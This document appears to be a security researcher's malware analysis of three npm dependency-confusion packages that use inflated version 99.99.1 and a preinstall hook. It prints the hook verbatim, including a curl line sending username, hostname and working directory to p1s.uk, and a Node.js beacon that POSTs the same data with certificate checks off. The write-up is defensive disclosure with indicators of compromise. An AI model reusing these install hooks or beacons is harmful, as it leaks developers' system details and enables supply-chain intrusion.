Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

arlo-meeting-assistant-backend medium by Paul Newton

arlo-meeting-assistant-backend - Malicious Beacon

Three-package cluster of malicious packages. The packages — arlo-meeting-assistant-backend, arlo-meeting-assistant-frontend, and arlo-meeting-assistant-rtms — use Arlo-style package naming and version 99.99.1 to beat internal npm install pinning. All three are identical payloads differentiated only by their package name field; index.js is a stub (module.exports = {}). On install, a preinstall lifecycle hook fires a two-path beacon: a Node.js primary (postinstall.js) and a raw curl shell fallback. Both report hostname, username, working directory, and timestamp to p1s.uk over HTTPS. No legitimate code is present. Severity is assessed as medium — purely reconnaissance, likely a precursor probe before a higher-fidelity follow-on payload is deployed.

Package

Name

arlo-meeting-assistant-backend

Version

99.99.1

Published by

elitevishalorg

Publisher email

vishalkumarrpvv@gmail.com

View on NPM

Threat Actor

Unknown

Tags

#npm #dependency-confusion #beacon #recon #preinstall

Attack Technique

These attacks exploit the way npm resolves unscoped package names: if a package with an identical name exists on the public registry, npm will install it in preference to a private internal one unless the consumer explicitly configures a scoped registry or pins the version range to exclude public. All three packages use version 99.99.1 — an artificially inflated version number designed to win any semver resolution race against any internal packages using realistic version numbers. The name pattern arlo-meeting-assistant-{backend,frontend,rtms} uses Arlo-style naming, which would cause a routine npm install to pull the malicious package silently if a matching internal package is not explicitly scoped or pinned.

Trigger — preinstall Hook

The preinstall lifecycle hook fires automatically during npm install, before any dependency resolution begins — meaning the payload executes even if the consumer never imports the package. The hook defines two execution paths in sequence: Node.js via postinstall.js (primary) and a raw curl one-liner (shell fallback). The || true at the end ensures the install does not error out and alert the victim, regardless of whether either path succeeds.

package.json — preinstall hook with shell fallback

{
  "scripts": {
    "preinstall": "node postinstall.js || curl -sk --max-time 5 \"https://p1s.uk/dep-confusion/arlo-meeting-assistant-backend/?u=$(whoami)&h=$(hostname)&d=$PWD\" || true"
  }
}

Shell Fallback — Inline Command Substitution

The curl fallback embeds $(whoami), $(hostname), and $PWD directly as shell command substitutions inside the URL string. If Node.js is unavailable, the shell expands these inline and fires a GET request — beaconing the current username, hostname, and working directory as query parameters with no script file required. The -s flag silences curl output and --max-time 5 prevents the install from hanging. This is the highest-risk element of the cluster: it achieves reconnaissance with zero Node.js dependency and the shell substitution pattern is trivially escalated to execute arbitrary commands rather than just read environment values.

Primary Beacon — postinstall.js

The Node.js primary path sends the same data as the shell fallback but as a structured JSON POST to the /full endpoint. rejectUnauthorized: false disables TLS certificate validation, allowing the operator to use a self-signed cert on the C2 without the request failing. The install directory (__dirname) is included in the payload — this leaks internal monorepo path structure, confirming not just that the machine installed the package, but where the victim's project lives on disk. Errors are silently suppressed.

postinstall.js — structured HTTPS POST beacon

const data = JSON.stringify({
  p: pkg,                      // package name
  h: os.hostname(),
  u: os.userInfo().username,
  d: __dirname,                // install directory — reveals internal monorepo structure
  t: new Date().toISOString()
});

const req = https.request({
  hostname: 'p1s.uk', port: 443,
  path: '/dep-confusion/' + safe + '/full',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': Buffer.byteLength(data)
  },
  rejectUnauthorized: false,   // no CA validation — self-signed cert accepted
  timeout: 8000
}, () => {});

req.on('error', () => {});
req.write(data); req.end();

Relationship to Unisys Cluster

The C2 domain p1s.uk is shared with the unisys-core cluster and the unisys-uka RAT, all of which use the same /dep-confusion/{package-name} path structure and the same 99.99.x version strategy. This cluster uses an earlier sub-version (99.99.1 vs 99.99.2 for the unisys-core cluster), suggesting it may have been published first as a template. The shared C2 and identical infrastructure pattern strongly suggests a common operator across both clusters.

Indicators of Compromise

Malicious Packages

Package Version Author Notes
arlo-meeting-assistant-backend 99.99.1 Malicious beacon; preinstall hook; postinstall.js primary + curl shell fallback
arlo-meeting-assistant-frontend 99.99.1 Identical payload to arlo-meeting-assistant-backend; only package name differs
arlo-meeting-assistant-rtms 99.99.1 Identical payload to arlo-meeting-assistant-backend; only package name differs

Domains

Domain Type Context
p1s[.]uk C2 Beacon receiver — accepts HTTPS POST from postinstall.js and GET from curl shell fallback; shared with Unisys cluster (unisys-core, unisys-uka)

URLs

URL Context
hxxps://p1s[.]uk/dep-confusion/arlo-meeting-assistant-backend/full Primary beacon endpoint — receives JSON POST with hostname, username, install dir, timestamp
hxxps://p1s[.]uk/dep-confusion/arlo-meeting-assistant-frontend/full Primary beacon endpoint — frontend package variant
hxxps://p1s[.]uk/dep-confusion/arlo-meeting-assistant-rtms/full Primary beacon endpoint — rtms package variant
hxxps://p1s[.]uk/dep-confusion/arlo-meeting-assistant-backend/?u=…&h=…&d=… Shell fallback beacon — GET with username, hostname, and PWD as query parameters
hxxps://p1s[.]uk/dep-confusion/arlo-meeting-assistant-frontend/?u=…&h=…&d=… Shell fallback beacon — frontend package variant
hxxps://p1s[.]uk/dep-confusion/arlo-meeting-assistant-rtms/?u=…&h=…&d=… Shell fallback beacon — rtms package variant